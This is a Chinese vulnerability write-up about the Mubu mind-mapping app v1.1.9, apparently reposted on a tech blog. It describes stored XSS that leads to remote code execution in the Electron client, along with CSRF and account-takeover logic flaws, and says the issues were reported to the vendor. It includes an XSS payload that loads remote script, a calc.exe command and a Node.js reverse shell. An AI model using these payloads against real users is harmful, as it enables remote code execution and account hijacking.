某头脑管理工具V1.1.9最新版漏洞合集

2019-04-26 约 2804 字 预计阅读 6 分钟

声明:本文 【某头脑管理工具V1.1.9最新版漏洞合集】 由作者 水泡泡 于 2019-04-26 09:42:00 首发 先知社区 曾经 浏览数 40 次

感谢 水泡泡 的辛苦付出!

0X00 前言

幕布本人最早接触是在P神的知识星球里面看到P神推荐的,后来下了个用着还挺好用。

之前一直都放一些零零散散的笔记,最近整理的时候,一时兴起,本着漏洞源于生活的态度,遂对幕布的安全性做了些研究。

0x01 背景

幕布是一款头脑管理工具,用更高效的方式和清晰的结构来记录笔记、管理任务、制定工作计划、头脑风暴。用最好的方式释放您的大脑!

令人觉得舒服的是,就算是免费版也支持多平台同步,相对比其他软件这个很良心了,还支持多种格式导出,支持脑图演示。

0x02前世

早在17年,栋栋的栋师傅就对幕布的1.1.0版本进行了研究 Client %E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/ "研究"),发现了多个CSRF,如保存文档,创建文件夹等。搜索框反射XSS,文件夹名XSS,文档名称XSS(在查看思维导图的时候触发),昵称存储XSS等。由于幕布使用Electron来开发,导致我们只要一个XSS即可执行任意命令。

根据栋师傅的文章,我测了一下,发现现阶段1.1.9版本的搜索框XSS依旧可行。

同样文件夹名的存储XSS也是存在的,点击文件夹即可触发

文档名XSS(在查看脑图的时候触发)这个已经修复了。

XSS到RCE其攻击链如下:

0x03今生

基于上面的了解,我知道幕布应该有多个功能点存在CSRF和XSS,找到漏洞并不难,难得的是找到一个较为完美的利用链。
栋师傅的分享文档,昵称XSS,创建文档然后脑图查看触发,我感觉这个利用链有点复杂,且PAYLOAD过于明显。
经过一番思考,觉得攻击点还是应该放在分享文档页面中,这里是与别人交互的唯一入口(目前来说)。
分享文档页面中包括了什么呢?


经测试,头像处做了过滤,昵称的XSS也已经修复了,目标放到标题和正文。
标题一番测试之后也是过滤了,那么只有正文了,为了更好的测试,特地开了一个月的高级会员,高级会员可以插入图片,想通过图片文件名的方式引入XSS,但发现被过滤了。

中间还测了幕布的标签,但没有效果。


不放弃,继续研究,看到保存文档的请求包


会发现有一个叫id的参数,回到页面,F12检查,发现这个id值是作为id属性的值,作为节点解析使用。


直觉告诉我这里应该会有问题。闭合双引号,div标签,弹个框试一下。


好的,成功弹框了。


但是弹完之后,正文把后面错乱的标签代码显示出来了。


后面要做的就是把PAYLAOD完善,不让错乱代码显示出来,让这个插入了恶意代码的文档表现的像一个正常文档一样。
而且这里的触发点堪称完美,只需要用户打开文档,减少触发的步骤。
通过分享文档或者投稿到精选,其他用户登陆状态下浏览,然后触发XSS,直到在客户端查看触发RCE。
这里有一个问题是分享链接都是公开的,别人不需要登陆即可查看,但为了能够利用,我们必须让用户登陆;
还有一个问题是用户在PC的客户端里面没办法直接查看精选页面和分享页面,默认是通过PC浏览器打开页面的。(PS:通过PC客户端的”幕布精选”菜单访问的话,会自动登陆上账号,这里还有一个任意URL跳转的问题)

那么是否可以达到用户点击链接,就能够直接触发RCE呢?
因为这里存在跨端的问题,从浏览器跨到幕布客户端,需要一个桥梁。我想到的桥梁是利用Custom URL Scheme来拉起幕布,让幕布去渲染这个带有XSS的文档然后触发RCE。
但逆向了一下幕布的源码,发现它没有注册相关的URl,所以这个思路行不通,但难免幕布后续更新会加入自己的URL Scheme。
现阶段只能是通过”自动同步”这个桥梁,将我们的恶意文档带入到客户端中去,然后等待用户查看触发了,这个点是最为致命的点了。
根据现有状况,我的攻击思路如下:
被动方式:用户登陆态下,把我们这个“丰富”的文档保存到自己的账号下,在客户端查看时触发RCE。
主动方式:创建一个登陆页面的弹框,诱导用户登录,只允许其登陆之后访问分享文档。然后再利用XSS创建一个文档,等待用户在客户端查看。
总结一下其利用链如下:


当然这里是以RCE为目的,也可以XSS打账号密码等其他方式,那样就可以随时掌控用户的账号,查看其私密文档,创建恶意文档,等待其查看,触发RCE,控制目标电脑。
分析讲完了,下面是验证过程,首先我们需要让文档看起来是正常的,那么就不能像之前的PAYLOAD一样,得利用div标签的事件来触发。主要是onclick 和onmouseover事件。我这里用的是onmouseover事件。

" onmouseover="s=createElement('script');body.appendChild(s);s.src='https://xsspt/xxx'


文档看起来就跟正常文档一样,触发的话需要用户鼠标悬浮在DIV上面。Web端有no-referrer-when-downgrade限制,需要使用https的JS。客户端则不用,最好直接用https的一了百了。
在windows客户端打开,弹个计算器

弹计算器的代码:

require('child_process').exec('calc.exe')

Mac客户端,反弹个shell


反弹shell的代码

var net = require("net"), sh = require("child_process").exec("/bin/bash");
var client = new net.Socket();
client.connect({set.port}, "{set.ip}", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);
sh.stderr.pipe(client);});

关于electron rce 可以在查看这篇文章

0x04 番外

逻辑缺陷

绕过原手机号验证,绑定新手机号,接管帐号

修改手机号正常流程是需要原手机号的验证码验证的

但我们正常走一遍流程,把绑定新手机号的请求抓出来会发现,根本不需要原手机号的验证码。
我们刚开始的手机号为132

第一步,给要绑定的手机号发送验证码

第二步,用获取的验证码请求绑定

刷新设置页面,会发现已经绑定成功了。

其中第一步任何其他用户发送即可,获取到验证码,然后创建一个页面,骗取目标用户去访问,利用CSRF攻击,接管其账号

绕过微信验证,解绑微信
比如我们绑定了微信,就可以用微信登陆了,正常解绑微信是需要,微信验证一下的,但是我们发现把解绑微信的请求抓出来,直接就可以解绑了,且存在CSRF。

正常流程来说是这样走的。

抓到解绑微信的请求如下:

然后发一下包就可以解绑微信了

刷新设置页面,发现已经解绑成功了

至于绑定微信,需要获取state参数,需要发送请求,只能是XSS来利用了,所以有了XSS,我就可以获取这个state参数,自己构造参数绑定微信到目标用户账号上.

任意URL跳转

主要是客户端幕布精选跳转到浏览器里面自动登陆的请求:

在客户端点击”幕布精选”菜单,抓到这样的请求:

https://mubu.com/client_redirect?token=xxx&next=/explore

其中next这个可以填写我们自己的第三方链接,token正确与否不要紧,甚至去掉这个参数都会跳转。

CSRF (所见之处皆可CSRF)

设置昵称

设置昵称的请求为POST请求,不带任何token防御:

但修改为GET请求,一样可以。

经测试原来所有修改,添加操作为POST的请求,都可以用GET请求来发送。

创建文档

这里只可以用来创建一个空的文档,创建一个有内容的文档需要经过几个步骤,需要有XSS才能创建有内容的文档。

绑定手机号

解邦微信

0x05 总结

这篇文章记录了对幕布安全性的研究和一些攻击思路,上述所有漏洞均已报备幕布官方,请勿用作非法攻击。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now